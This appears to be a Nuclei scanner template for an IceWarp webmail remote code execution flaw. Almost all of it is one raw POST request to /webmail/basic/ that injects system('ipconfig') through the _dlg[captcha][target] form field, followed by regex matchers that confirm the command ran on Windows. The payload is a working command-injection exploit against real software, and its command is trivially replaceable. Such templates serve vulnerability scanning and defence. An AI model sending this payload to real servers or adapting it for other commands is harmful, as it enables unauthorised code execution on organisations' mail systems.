id: Icewarp-RCE

info:
  name: Icewarp RCE
  author: shifacyclewala & hackergautam
  severity: critical
  tags: rce,icewarp

requests:
  - raw:
      - |
        POST /webmail/basic/ HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 43
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        _dlg[captcha][target]=system(\'ipconfig\')\
    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "Windows IP Configuration"
          - "Subnet Mask"
        part: body
        condition: and